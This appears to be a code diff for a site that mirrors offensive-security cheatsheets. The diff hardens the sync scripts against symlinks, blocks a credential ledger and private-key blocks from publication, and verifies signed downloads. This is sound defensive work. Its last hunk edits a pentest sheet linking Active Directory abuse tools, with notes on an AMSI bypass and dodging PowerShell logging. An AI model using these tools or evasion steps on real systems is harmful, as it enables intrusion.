+def read_text(root, path, errors: str = "strict") -> str:
+    return read_bytes(root, path).decode("utf-8", errors=errors)
+
+
+def copy_file(root, path, destination) -> None:
+    """Copy a confined regular file's bytes. Never follows a link on either side."""
+    destination = os.fspath(destination)
+    with open_binary(root, path) as source:
+        if os.path.islink(destination):
+            os.unlink(destination)
+        with open(destination, "wb") as target:
+            shutil.copyfileobj(source, target, 1024 * 1024)

scripts/sync-hacktricks.py

@@ -22,6 +22,9 @@ import sys
 from pathlib import Path
 from urllib.parse import quote, unquote
 
+sys.path.insert(0, str(Path(__file__).resolve().parent))
+import safe_source
+
 
 REPO = Path(__file__).resolve().parent.parent
 OUT = REPO / "src" / "content" / "hacktricks"
@@ -65,12 +68,36 @@ def quoted_raw(path: str) -> str:
     )
 
 
+def markdown_files(root: Path) -> list[Path]:
+    """Every .md under ``root`` that is a real file inside the clone.
+
+    The clone is third-party input. Git stores symbolic links and an ordinary
+    read follows them, so a linked page would copy whatever the link names on
+    this machine into the published collection. A link anywhere on the way to
+    a selected page stops the sync before the existing output is replaced.
+    """
+    found: list[Path] = []
+    if not os.path.lexists(root):
+        return found  # upstream dropped or renamed this section
+    try:
+        safe_source.check_dir(SOURCE, root)
+        # os.walk does not descend into linked directories; rglob may.
+        for current, dirs, files in os.walk(root):
+            dirs.sort()
+            for name in files:
+                if name.lower().endswith(".md"):
+                    found.append(Path(safe_source.check_file(SOURCE, os.path.join(current, name))))
+    except (safe_source.UnsafeSource, OSError) as err:
+        raise SystemExit(f"sync-hacktricks: unsafe source, nothing written: {err}")
+    return sorted(found)
+
+
 records: list[dict[str, object]] = []
 route_by_source: dict[str, str] = {}
 
 for section_slug, section_title in SECTIONS.items():
     root = SOURCE_ROOT / section_slug
-    for source_file in sorted(root.rglob("*.md")):
+    for source_file in markdown_files(root):
         if source_file.name.lower() in SKIP_NAMES:
             continue
         source_path = source_file.relative_to(SOURCE_ROOT).as_posix()
@@ -354,7 +381,7 @@ for record in records:
     source_file = record["source_file"]
     assert isinstance(source_file, Path)
     source_path = str(record["source_path"])
-    raw = source_file.read_text(encoding="utf-8", errors="replace")
+    raw = safe_source.read_text(SOURCE, source_file, errors="replace")
     body = normalize_code_fences(rewrite_links(source_path, clean_gitbook(raw)))
     fallback = source_file.parent.name if source_file.name.lower() == "readme.md" else source_file.stem
     title = page_title(raw, fallback.replace("-", " ").title())

scripts/sync-internal.py

@@ -9,6 +9,9 @@ Usage: python3 scripts/sync-internal.py /path/to/iatt-clone <sha>
 import json, os, re, shutil, sys
 from urllib.parse import quote, unquote
 
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+import safe_source
+
 REPO = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), ".."))
 OUT = os.path.join(REPO, "src", "content", "internal")
 UPSTREAM = "https://github.com/swisskyrepo/InternalAllTheThings"
@@ -22,6 +25,33 @@ DOCS = os.path.join(SRC, "docs")
 if not os.path.isdir(DOCS):
     sys.exit(f"no docs/ under {SRC}")
 
+
+def _unsafe(err):
+    sys.exit(f"sync-internal: unsafe source, nothing written: {err}")
+
+
+def source_file(path):
+    """A regular file inside the clone, or stop the sync before anything is written.
+
+    The clone is third-party input. Git stores symbolic links, and an ordinary
+    open() follows them, so a linked page would copy whatever the link names on
+    this machine into the published mirror.
+    """
+    try:
+        return safe_source.check_file(SRC, path)
+    except (safe_source.UnsafeSource, OSError) as err:
+        _unsafe(err)
+
+
+def source_dir(path):
+    try:
+        return safe_source.check_dir(SRC, path)
+    except (safe_source.UnsafeSource, OSError) as err:
+        _unsafe(err)
+
+
+source_dir(DOCS)
+
 # Human section titles keyed by the docs/<dir> name. Anything unmapped falls
 # back to a title-cased dir name (hyphens -> spaces).
 SECTION_TITLES = {
@@ -68,6 +98,8 @@ ROOT_SKIP = {"readme.md"}
 sections = sorted(
     d for d in os.listdir(DOCS) if os.path.isdir(os.path.join(DOCS, d))
 )
+for section in sections:
+    source_dir(os.path.join(DOCS, section))
 
 route_of_md = {}   # repo-relative md path (lowercased) -> internal route
 route_of_dir = {}  # repo-relative section dir (lowercased) -> section root route
@@ -89,7 +121,7 @@ for section in sections:
         for f in sorted(files):
             if not f.lower().endswith(".md"):
                 continue
-            abspath = os.path.join(root, f)
+            abspath = source_file(os.path.join(root, f))
             rel = os.path.relpath(abspath, SRC).replace(os.sep, "/")  # docs/<...>.md
             inner = os.path.relpath(abspath, sdir).replace(os.sep, "/")
             sslug = slugify(section)
@@ -110,7 +142,7 @@ for section in sections:
 for f in sorted(os.listdir(DOCS)):
     if not f.lower().endswith(".md") or f.lower() in ROOT_SKIP:
         continue
-    abspath = os.path.join(DOCS, f)
+    abspath = source_file(os.path.join(DOCS, f))
     rel = f"docs/{f}"
     slug = slugify(os.path.splitext(f)[0])
     route = f"/internal/{slug}"
@@ -255,7 +287,7 @@ section_seen = {}
 sections_with_index = set()
 section_pages = {}  # section -> [(route, title)] for non-index pages
 for section, rel, abspath, is_index, out_id, route in pages:
-    raw = open(abspath, encoding="utf-8", errors="replace").read()
+    raw = safe_source.read_text(SRC, abspath, errors="replace")
     body = rewrite_body(rel, raw)
     stitle = section_title(section)
     fallback = stitle if is_index else os.path.splitext(os.path.basename(abspath))[0]
@@ -272,7 +304,7 @@ for section, rel, abspath, is_index, out_id, route in pages:
     section_seen[section] = section_seen.get(section, 0) + 1
 
 for rel, abspath, slug, route in root_pages:
-    raw = open(abspath, encoding="utf-8", errors="replace").read()
+    raw = safe_source.read_text(SRC, abspath, errors="replace")
     body = rewrite_body(rel, raw)
     stitle = section_title(slug)
     title = title_from(raw, stitle)

scripts/sync-mirrors.sh

@@ -3,8 +3,10 @@
 # Sync the two swisskyrepo mirrors (PayloadsAllTheThings, InternalAllTheThings)
 # into the site, prove the result builds, and optionally publish it.
 #
-# .github/workflows/sync-mirrors.yml runs this same script, so a sync you watch
-# here is the sync the scheduled run performs.
+# .github/workflows/sync-mirrors.yml runs this same script with --commit, so a
+# sync you watch here is the sync the scheduled run performs. The workflow
+# pushes from a second job that holds the write token and runs none of this;
+# --push below is for publishing from your own machine.
 #
 set -euo pipefail
 

scripts/sync-payloads.py

@@ -7,6 +7,9 @@ Usage: python3 scripts/sync-payloads.py /path/to/patt-clone <sha>
 """
 import json, os, re, shutil, sys
 
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+import safe_source
+
 REPO = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), ".."))
 OUT = os.path.join(REPO, "src", "content", "payloads")
 VENDOR = os.path.join(REPO, "vendor", "PayloadsAllTheThings")
@@ -48,10 +51,32 @@ def raw_url(relpath):
     return f"https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/{SHA}/{quote(relpath)}"
 
 
+def source_file(path):
+    """A regular file inside the clone, or stop the sync before anything is written.
+
+    The clone is third-party input. Git stores symbolic links, and an ordinary
+    open() follows them, so a linked page or licence would copy whatever the
+    link names on this machine into the published mirror.
+    """
+    try:
+        return safe_source.check_file(SRC, path)
+    except (safe_source.UnsafeSource, OSError) as err:
+        sys.exit(f"sync-payloads: unsafe source file, nothing written: {err}")
+
+
 # --- Discover all mirrored markdown, build a path->route map first --------------
-topics = sorted(d for d in os.listdir(SRC)
-                if os.path.isdir(os.path.join(SRC, d)) and d not in SKIP_TOP
-                and not d.startswith(".") and not d.startswith("_"))
+def _is_topic(d):
+    if d in SKIP_TOP or d.startswith(".") or d.startswith("_"):
+        return False
+    p = os.path.join(SRC, d)
+    if not os.path.isdir(p):
+        return False
+    if os.path.islink(p):
+        sys.exit(f"sync-payloads: unsafe source directory, nothing written: {p} is a symbolic link")
+    return True
+
+
+topics = sorted(d for d in os.listdir(SRC) if _is_topic(d))
 
 # map: repo-relative md path (posix) -> site route (/payloads/...)
 route_of = {}
@@ -64,7 +89,7 @@ for topic in topics:
                 continue
             if f.lower() in SKIP_FILES and os.path.basename(root) != topic:
                 pass  # only skip template-ish names anywhere
-            abspath = os.path.join(root, f)
+            abspath = source_file(os.path.join(root, f))
             relpath = os.path.relpath(abspath, SRC).replace(os.sep, "/")
             is_readme = f.lower() == "readme.md"
             ts = topic_slug(topic)
@@ -217,6 +242,16 @@ def yaml_escape(s):
     return s.replace("\\", "\\\\").replace('"', '\\"')
 
 
+# --- Pick the licence before anything is written --------------------------------
+# lexists, not isfile: a LICENSE that is a link must stop the sync, not be
+# skipped in favour of the next candidate or silently followed.
+lic_src = None
+for cand in ("LICENSE.md", "LICENSE", "LICENSE.txt"):
+    p = os.path.join(SRC, cand)
+    if os.path.lexists(p):
+        lic_src = source_file(p)
+        break
+
 # --- Emit -----------------------------------------------------------------------
 if os.path.isdir(OUT):
     shutil.rmtree(OUT)
@@ -227,7 +262,7 @@ topics_seen = {}
 topics_with_readme = set()
 topic_pages = {}  # topic -> [(route, title)] for non-readme leaves, in title order
 for topic, relpath, abspath, is_readme, out_id, route in md_files:
-    raw = open(abspath, encoding="utf-8", errors="replace").read()
+    raw = safe_source.read_text(SRC, abspath, errors="replace")
     body = rewrite_body(relpath, raw)
     fallback = topic if is_readme else os.path.splitext(os.path.basename(abspath))[0]
     title = title_from(raw, fallback)
@@ -292,14 +327,8 @@ for topic, pages in topic_pages.items():
 
 # --- Vendor the license ---------------------------------------------------------
 os.makedirs(VENDOR, exist_ok=True)
-lic_src = None
-for cand in ("LICENSE.md", "LICENSE", "LICENSE.txt"):
-    p = os.path.join(SRC, cand)
-    if os.path.isfile(p):
-        lic_src = p
-        break
 if lic_src:
-    shutil.copyfile(lic_src, os.path.join(VENDOR, os.path.basename(lic_src)))
+    safe_source.copy_file(SRC, lic_src, os.path.join(VENDOR, os.path.basename(lic_src)))
 
 # --- Manifest -------------------------------------------------------------------
 manifest = {

scripts/sync-pentest-workflow.py

@@ -7,13 +7,26 @@ changes required by the site:
 * replace Obsidian frontmatter with the site's content schema;
 * remove the vault-only NoteBanner/dataview bootstrap;
 * rewrite links between the 32 selected sheets to their public routes;
-* rewrite attachment embeds to signed download/hash/signature link triplets;
+* rewrite attachment embeds to download/hash links, plus a signature link for
+  every attachment whose detached signature is already in ``public/downloads``;
 * copy the 51 referenced attachments into ``public/downloads``;
-* generate one SHA-256 sidecar per attachment plus a combined manifest.
+* generate one SHA-256 sidecar per attachment plus a combined manifest;
+* remove any previously published download the vault no longer references.
 
 Detached OpenPGP signatures are deliberately produced after this script runs:
 signing requires the user's private key and must never be hidden in a content
-conversion step. See the command printed at the end of a successful run.
+conversion step. See the command printed at the end of a successful run. Run
+the script once more after signing so the sheets link to the new signatures;
+``npm run verify:downloads`` checks them before a deploy.
+
+What may be published is an explicit list (``SLUGS``). Three further checks
+stand behind it, because the vault also holds working notes:
+
+* ``NEVER_PUBLISH`` names notes that must not be added to ``SLUGS`` again;
+* a note carrying the vault's ``SENSITIVE`` banner, or a complete private-key
+  block, stops the run before anything is written;
+* every note and attachment is read through ``safe_source``, which refuses
+  symbolic links and anything that resolves outside the selected folders.
 """
 
 from __future__ import annotations
@@ -22,11 +35,14 @@ import hashlib
 import json
 import os
 import re
-import shutil
+import sys
 import unicodedata
 from pathlib import Path
 from urllib.parse import quote
 
+sys.path.insert(0, str(Path(__file__).resolve().parent))
+import safe_source
+
 
 REPO = Path(__file__).resolve().parent.parent
 SOURCE = Path(
@@ -65,16 +81,45 @@ SLUGS: dict[str, str] = {
     "16 - Appendix - Worked Chains.md": "worked-chains",
     "17 - Tool Index.md": "tool-index",
     "HTB-Attack-Flow-Playbook.md": "htb-attack-flow-playbook",
-    "loot.md": "loot",
     "Companion Guides/Attack-Flow-Guide.md": "attack-flow-guide",
     "Companion Guides/Most-Used-Commands.md": "most-used-commands",
 }
 
 
+# Working notes that live beside the sheets and must never be published.
+# ``loot.md`` is the engagement ledger: live credentials, hashes and private
+# keys. It was once listed in SLUGS and shipped to the public site and its
+# search index; this list makes a repeat of that an error instead of a diff.
+NEVER_PUBLISH: frozenset[str] = frozenset({"loot.md"})
+
+# The banner the vault puts on a note that holds secrets, e.g.
+# ``> [!warning]+ SENSITIVE — Live Credential Store``.
+SENSITIVE_BANNER = re.compile(r"(?mi)^\s*>\s*\[![a-z]+\][+-]?\s*SENSITIVE\b")
+
+# A complete PEM/OpenSSH private-key block: both markers with real key data
+# between them. A bare ``-----BEGIN ... PRIVATE KEY-----`` on its own (a Google
+# dork, a grep pattern, a truncated sample) is ordinary cheatsheet content.
+PRIVATE_KEY_BLOCK = re.compile(
+    r"-----BEGIN ((?:[A-Z0-9]+ )*PRIVATE KEY)-----"
+    r"[A-Za-z0-9+/=\s]{200,}?"
+    r"-----END \1-----"
+)
+
+
+def publication_problem(rel: str, text: str) -> str | None:
+    """Why this note must not be published, or None when it may be."""
+    if rel in NEVER_PUBLISH or Path(rel).name in NEVER_PUBLISH:
+        return "it is on the NEVER_PUBLISH list"
+    if SENSITIVE_BANNER.search(text):
+        return "it carries the vault's SENSITIVE banner"
+    if PRIVATE_KEY_BLOCK.search(text):
+        return "it contains a complete private-key block"
+    return None
+
+
 DESCRIPTIONS: dict[str, str] = {
     "attack-flow-dashboard": "The complete CPTS attack-flow index, stage map, decision points, and offline toolkit entry point.",
     "attacking-common-modules-dashboard": "Focused CPTS reference cards for services, applications, privilege escalation, shells, TTY handling, and post-exploitation.",
-    "loot": "Attacking Enterprise Networks lab re-entry notes, host evidence, credentials, attack chain, and cleanup ledger.",
     "tool-index": "Stage-by-stage CPTS tooling index with locally mirrored, checksum-verified downloads.",
 }
 
@@ -140,7 +185,7 @@ def difficulty(rel: str, frontmatter: str) -> str:
         return "beginner"
     if raw in {"hard", "advanced"}:
         return "advanced"
-    if rel == "loot.md" or any(
+    if any(
         term in rel.lower()
         for term in ("adcs", "acl", "kerberos", "trust", "lateral", "worked chains")
     ):
@@ -174,14 +219,21 @@ def github_anchor(value: str) -> str:
 
 def attachment_triplet(filename: str, label: str | None = None) -> str:
     if filename == "SHA256SUMS.txt":
-        return "[SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc))"
+        if (DOWNLOADS / "SHA256SUMS.asc").is_file():
+            return "[SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc))"
+        return "[SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS)"
     encoded = quote(filename)
     shown = label or filename
     base = f"/downloads/pentest-workflow/{encoded}"
-    return (
-        f"[{shown}]({base})"
-        f" ([SHA-256]({base}.sha256) · [GPG signature]({base}.sha256.asc))"
-    )
+    # Link a signature only when it has actually been published. Signing is a
+    # separate, manual step; a link to a file that is not there is a promise
+    # the release does not keep.
+    if (DOWNLOADS / f"{filename}.sha256.asc").is_file():
+        return (
+            f"[{shown}]({base})"
+            f" ([SHA-256]({base}.sha256) · [GPG signature]({base}.sha256.asc))"
+        )
+    return f"[{shown}]({base}) ([SHA-256]({base}.sha256))"
 
 
 def build_link_lookup() -> dict[str, str]:
@@ -295,59 +347,110 @@ def human_size(size: int) -> str:
     raise AssertionError("unreachable")
 
 
-def attachment_names_from_sources() -> list[str]:
+ATTACHMENT_DIRS = ("attachments", "General Pentest Cheatsheets/attachments")
+
+
+def read_source(rel: str) -> str:
+    """A selected note, read without following links out of the vault folder."""
+    try:
+        return safe_source.read_text(SOURCE, SOURCE / rel)
+    except FileNotFoundError:
+        raise SystemExit(f"Missing requested sheet: {SOURCE / rel}")
+    except (safe_source.UnsafeSource, OSError) as err:
+        raise SystemExit(f"Unsafe source note, nothing written: {err}")
+
+
+def source_attachment(name: str) -> Path | None:
+    """The attachment called ``name`` in one of the two attachment folders.
+
+    Only a regular file that really lives there counts. A symbolic link — or a
+    real file behind a linked folder — is refused outright instead of skipped:
+    following it would publish whatever it points at on this machine.
+    """
+    for folder in ATTACHMENT_DIRS:
+        candidate = SOURCE / folder / name
+        if not os.path.lexists(candidate):
+            continue
+        try:
+            return Path(safe_source.check_file(SOURCE, candidate))
+        except (safe_source.UnsafeSource, OSError) as err:
+            raise SystemExit(f"Unsafe attachment, nothing written: {err}")
+    return None
+
+
+def attachment_names_from_sources(texts: dict[str, str]) -> list[str]:
     names: set[str] = set()
-    for rel in SLUGS:
-        text = (SOURCE / rel).read_text(encoding="utf-8")
+    for text in texts.values():
         for raw in re.findall(r"!?\[\[([^\]]+)\]\]", text):
             target = raw.split("|", 1)[0].split("#", 1)[0].strip().replace("\\", "/")
             if "/attachments/" not in f"/{target.lower()}" and not target.lower().startswith("attachments/"):
                 continue
             name = Path(target).name
-            if (SOURCE / "attachments" / name).is_file() or (
-                SOURCE / "General Pentest Cheatsheets/attachments" / name
-            ).is_file():
+            if name in {"", ".", ".."}:
+                continue
+            if source_attachment(name) is not None:
                 names.add(name)
     names.discard("SHA256SUMS.txt")
     return sorted(names, key=str.lower)
 
 
-def source_attachment(name: str) -> Path:
-    candidates = (
-        SOURCE / "attachments" / name,
-        SOURCE / "General Pentest Cheatsheets/attachments" / name,
-    )
-    for candidate in candidates:
-        if candidate.is_file():
-            return candidate
-    raise FileNotFoundError(f"Referenced attachment is missing: {name}")
+def load_sources() -> dict[str, str]:
+    """Read and vet every selected note before a single file is written."""
+    texts: dict[str, str] = {}
+    for rel in SLUGS:
+        text = read_source(rel)
+        problem = publication_problem(rel, text)
+        if problem:
+            raise SystemExit(
+                f"Refusing to publish {rel!r}: {problem}. Nothing was written. "
+                "Remove it from SLUGS or publish a separately redacted note."
+            )
+        texts[rel] = text
+    return texts
 
 
-def sync_sheets() -> None:
+def sync_sheets(texts: dict[str, str]) -> None:
     SHEETS.mkdir(parents=True, exist_ok=True)
     for order, (rel, slug) in enumerate(SLUGS.items()):
-        source = SOURCE / rel
-        if not source.is_file():
-            raise FileNotFoundError(f"Missing requested sheet: {source}")
-        text = source.read_text(encoding="utf-8")
-        source_frontmatter, raw_body = split_frontmatter(text)
+        source_frontmatter, raw_body = split_frontmatter(texts[rel])
         body = clean_body(raw_body)
         output = frontmatter_for(rel, source_frontmatter, body, order) + body
         (SHEETS / f"{slug}.md").write_text(output, encoding="utf-8")
+    # A note that used to be published and is now refused must not linger.
+    for name in NEVER_PUBLISH:
+        stale = SHEETS / f"{Path(name).stem}.md"
+        if stale.exists():
+            stale.unlink()
+            print(f"Removed previously published sheet: {stale.relative_to(REPO)}")
 
 
-def sync_downloads() -> list[dict[str, object]]:
+def read_if_present(path: Path) -> bytes | None:
+    return path.read_bytes() if path.is_file() and not path.is_symlink() else None
+
+
+def sync_downloads(names: list[str]) -> list[dict[str, object]]:
     DOWNLOADS.mkdir(parents=True, exist_ok=True)
     records: list[dict[str, object]] = []
     manifest_lines: list[str] = []
+    keep: set[str] = {"SHA256SUMS"}
 
-    for name in attachment_names_from_sources():
+    for name in names:
         source = source_attachment(name)
+        if source is None:
+            raise SystemExit(f"Referenced attachment is missing: {name}")
         destination = DOWNLOADS / name
-        shutil.copy2(source, destination)
+        safe_source.copy_file(SOURCE, source, destination)
         digest = sha256(destination)
         checksum_name = f"{name}.sha256"
-        (DOWNLOADS / checksum_name).write_text(f"{digest}  {name}\n", encoding="ascii")
+        checksum_text = f"{digest}  {name}\n".encode("ascii")
+        checksum_path = DOWNLOADS / checksum_name
+        # A detached signature covers the checksum file byte for byte. It
+        # survives a re-sync only while that file is unchanged; a signature
+        # over an older checksum would be an invalid proof, so it goes.
+        if read_if_present(checksum_path) == checksum_text:
+            keep.add(f"{checksum_name}.asc")
+        checksum_path.write_bytes(checksum_text)
+        keep.update({name, checksum_name})
         manifest_lines.append(f"{digest}  {name}\n")
         records.append(
             {
@@ -361,7 +464,24 @@ def sync_downloads() -> list[dict[str, object]]:
             }
         )
 
-    (DOWNLOADS / "SHA256SUMS").write_text("".join(manifest_lines), encoding="ascii")
+    manifest_text = "".join(manifest_lines).encode("ascii")
+    manifest_path = DOWNLOADS / "SHA256SUMS"
+    if read_if_present(manifest_path) == manifest_text:
+        keep.add("SHA256SUMS.asc")
+    manifest_path.write_bytes(manifest_text)
+
+    # This directory is wholly managed here, and everything in it is served.
+    # An attachment whose last reference left the vault has to leave the public
+    # tree with it, along with its checksum and signature; rewriting the
+    # catalogue alone would leave the old URL working.
+    for entry in sorted(DOWNLOADS.iterdir()):
+        if entry.name in keep:
+            continue
+        if entry.is_dir() and not entry.is_symlink():
+            raise SystemExit(f"Unexpected directory in the managed download folder: {entry}")
+        entry.unlink()
+        print(f"Removed withdrawn download: {entry.relative_to(REPO)}")
+
     DATA.parent.mkdir(parents=True, exist_ok=True)
     DATA.write_text(json.dumps(records, indent=2) + "\n", encoding="utf-8")
     return records
@@ -370,11 +490,23 @@ def sync_downloads() -> list[dict[str, object]]:
 def main() -> None:
     if not SOURCE.is_dir():
         raise SystemExit(f"Pentest workflow source does not exist: {SOURCE}")
-    sync_sheets()
-    records = sync_downloads()
+    overlap = sorted(rel for rel in SLUGS if rel in NEVER_PUBLISH or Path(rel).name in NEVER_PUBLISH)
+    if overlap:
+        raise SystemExit(f"SLUGS lists notes that must never be published: {', '.join(overlap)}")
+    # Everything is read and vetted first. Downloads go before sheets so the
+    # sheets can link the signatures that survived the sync.
+    texts = load_sources()
+    names = attachment_names_from_sources(texts)
+    records = sync_downloads(names)
+    sync_sheets(texts)
+    signed = sum(1 for r in records if (DOWNLOADS / f"{r['name']}.sha256.asc").is_file())
     print(f"Synced {len(SLUGS)} sheets and {len(records)} referenced attachments.")
     print(f"Downloads: {DOWNLOADS}")
-    print("Next: sign every *.sha256 file and SHA256SUMS with the user's OpenPGP key.")
+    print(f"Signatures present: {signed}/{len(records)} files, manifest: "
+          f"{'yes' if (DOWNLOADS / 'SHA256SUMS.asc').is_file() else 'no'}.")
+    print("Next: sign every *.sha256 file and SHA256SUMS with the user's OpenPGP key,")
+    print("      re-run this script so the sheets link the signatures,")
+    print("      then run `npm run verify:downloads`.")
 
 
 if __name__ == "__main__":

scripts/verify-downloads.mjs

new file mode 100644
@@ -0,0 +1,128 @@
+// Checks the attachment library before it is deployed.
+//
+//   node scripts/verify-downloads.mjs [dir] [--require-signed]
+//
+// `dir` defaults to public/downloads/pentest-workflow; `npm run deploy:workers`
+// points it at the copy in dist/, the one that is about to be uploaded.
+//
+// What it holds the directory to:
+//
+// * It contains the catalogued files, their checksum sidecars, the manifest
+//   and their signatures, and nothing else. A file the catalogue no longer
+//   lists is still served at its old URL, so a leftover is an error.
+// * Every file matches the SHA-256 in the catalogue
+//   (src/data/pentest-workflow-downloads.json), in its sidecar and in
+//   SHA256SUMS.
+// * Signatures are all-or-nothing. The site calls the library "signed" only
+//   when the manifest and every file have a detached signature, so a partial
+//   set is refused. When they are present each one must verify, with gpg,
+//   as made by the pinned publisher key. A good signature from any other key
+//   does not count.
+//
+// With no signatures at all the check passes and says so: the page tells
+// readers the same thing. Pass --require-signed to make that an error once
+// signing is part of the release routine.
+//
+// The pinned key is the primary fingerprint already pinned for the report
+// index (src/data/report-index-lock.json, `recipient`). Signing is done by
+// hand with that key and never by this script:
+//
+//   cd public/downloads/pentest-workflow
+//   for f in *.sha256 SHA256SUMS; do gpg --armor --detach-sign --output "$f.asc" "$f"; done
+import { createHash } from 'node:crypto';
+import { createReadStream, existsSync, readFileSync, readdirSync } from 'node:fs';
+import { execFile } from 'node:child_process';
+import { join } from 'node:path';
+import { fileURLToPath, pathToFileURL } from 'node:url';
+
+const root = fileURLToPath(new URL('../', import.meta.url));
+
+function sha256File(file) {
+  return new Promise((resolve, reject) => {
+    const hash = createHash('sha256');
+    createReadStream(file).on('data', (chunk) => hash.update(chunk)).on('error', reject).on('end', () => resolve(hash.digest('hex')));
+  });
+}
+
+/** Resolves true when `signature` is a good signature over `file` by the pinned primary key. */
+export function gpgVerify(signature, file, fingerprint) {
+  return new Promise((resolve) => {
+    execFile('gpg', ['--batch', '--no-tty', '--status-fd', '1', '--verify', signature, file], { encoding: 'utf8' }, (error, stdout) => {
+      const lines = String(stdout ?? '').split('\n');
+      const good = lines.some((line) => line.startsWith('[GNUPG:] GOODSIG '));
+      // VALIDSIG's last field is the fingerprint of the primary key.
+      const primary = lines.filter((line) => line.startsWith('[GNUPG:] VALIDSIG ')).map((line) => line.trim().split(' ').pop());
+      resolve(!error && good && primary.length === 1 && primary[0].toUpperCase() === fingerprint.toUpperCase());
+    });
+  });
+}
+
+/**
+ * @param {{ dir: string, records: {name: string, sha256: string}[], fingerprint: string,
+ *           requireSigned?: boolean, verify?: typeof gpgVerify }} options
+ * @returns {Promise<{ problems: string[], signed: boolean, files: number }>}
+ */
+export async function verifyDownloads({ dir, records, fingerprint, requireSigned = false, verify = gpgVerify }) {
+  const problems = [];
+  if (!existsSync(dir)) return { problems: [`${dir} does not exist`], signed: false, files: 0 };
+  const present = new Set(readdirSync(dir).filter((name) => name !== '.DS_Store'));
+  const names = records.map((r) => r.name);
+
+  const expected = new Set(['SHA256SUMS', 'SHA256SUMS.asc']);
+  for (const name of names) for (const suffix of ['', '.sha256', '.sha256.asc']) expected.add(name + suffix);
+  for (const name of present) if (!expected.has(name)) problems.push(`${name} is served but is not in the catalogue`);
+
+  const manifestFile = join(dir, 'SHA256SUMS');
+  const manifest = new Map();
+  if (!present.has('SHA256SUMS')) problems.push('SHA256SUMS is missing');
+  else for (const line of readFileSync(manifestFile, 'utf8').split('\n').filter(Boolean)) {
+    const [digest, ...rest] = line.split('  ');
+    manifest.set(rest.join('  '), digest);
+  }
+  for (const name of manifest.keys()) if (!names.includes(name)) problems.push(`SHA256SUMS lists ${name}, which is not in the catalogue`);
+
+  for (const { name, sha256 } of records) {
+    if (!present.has(name)) { problems.push(`${name} is catalogued but missing`); continue; }
+    const actual = await sha256File(join(dir, name));
+    if (actual !== sha256) problems.push(`${name} does not match its catalogued SHA-256`);
+    if (manifest.get(name) !== actual) problems.push(`${name} does not match SHA256SUMS`);
+    const sidecar = `${name}.sha256`;
+    if (!present.has(sidecar)) problems.push(`${sidecar} is missing`);
+    else if (readFileSync(join(dir, sidecar), 'utf8') !== `${actual}  ${name}\n`) problems.push(`${sidecar} does not match ${name}`);
+  }
+
+  const signable = ['SHA256SUMS', ...names.map((n) => `${n}.sha256`)];
+  const withSignature = signable.filter((f) => present.has(`${f}.asc`));
+  const signed = withSignature.length === signable.length;
+  if (withSignature.length && !signed) {
+    const missing = signable.filter((f) => !present.has(`${f}.asc`));
+    problems.push(`signatures are incomplete: ${missing.length} of ${signable.length} missing (first: ${missing[0]}.asc)`);
+  }
+  if (!withSignature.length && requireSigned) problems.push('no detached signatures are published, and --require-signed was given');
+  for (const file of withSignature) {
+    if (!present.has(file)) continue;
+    if (!(await verify(join(dir, `${file}.asc`), join(dir, file), fingerprint))) {
+      problems.push(`${file}.asc is not a good signature by ${fingerprint}`);
+    }
+  }
+  return { problems, signed, files: names.length };
+}
+
+async function main() {
+  const args = process.argv.slice(2);
+  const requireSigned = args.includes('--require-signed');
+  const dir = args.find((a) => !a.startsWith('--')) ?? join(root, 'public', 'downloads', 'pentest-workflow');
+  const records = JSON.parse(readFileSync(join(root, 'src', 'data', 'pentest-workflow-downloads.json'), 'utf8'));
+  const { recipient } = JSON.parse(readFileSync(join(root, 'src', 'data', 'report-index-lock.json'), 'utf8'));
+  const { problems, signed, files } = await verifyDownloads({ dir, records, fingerprint: recipient, requireSigned });
+  if (problems.length) {
+    console.error(`verify-downloads: ${dir} must not be deployed:`);
+    for (const problem of problems) console.error(`  - ${problem}`);
+    process.exit(1);
+  }
+  console.log(signed
+    ? `verify-downloads: ${files} files match their checksums and every signature verifies against ${recipient}`
+    : `verify-downloads: ${files} files match their checksums. NOT SIGNED: no detached signatures are published, and the site says so.`);
+}
+
+if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) await main();

src/content/sheets/pentest-workflow/acl-and-object-abuse.md

@@ -23,10 +23,10 @@ source: "vault:Pentest Attack Flow/09 - Stage 06 - ACL and Object Abuse.md"
 This is where BloodHound edges become shells. **bloodyAD is my driver** — it talks LDAP/LDAPS/SAMR straight to the DC and turns every ACL edge into one write. PowerView (Windows foothold) and Impacket (Linux) are the equivalents when bloodyAD isn't an option. Workflow: collect the graph → click the outbound edge → find it below → copy the one-liner → reverse it in cleanup.
 
 > [!tools] Stage this
-> [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc)) — PowerSploit [PowerView](https://github.com/PowerShellMafia/PowerSploit): `Find-InterestingDomainAcl`, `Get-DomainObjectAcl`, `Add-DomainObjectAcl`, `Set-DomainObjectOwner`, `Set-DomainUserPassword`. AMSI-bypass first on modern boxes; SharpView is the C# port if PowerShell is constrained.
-> [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256) · [GPG signature](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256.asc)) — [StandIn](https://github.com/FuzzySecurity/StandIn): small C# ACE/object manipulator that flies under PowerShell logging — owner/ACE grants, group adds, AS-REP/RBCD flips, LAPS read.
-> [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256) · [GPG signature](/downloads/pentest-workflow/targetedKerberoast.py.sha256.asc)) — [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast): one-shot Linux GenericWrite abuse — sets SPN, roasts, prints hashcat-ready hash.
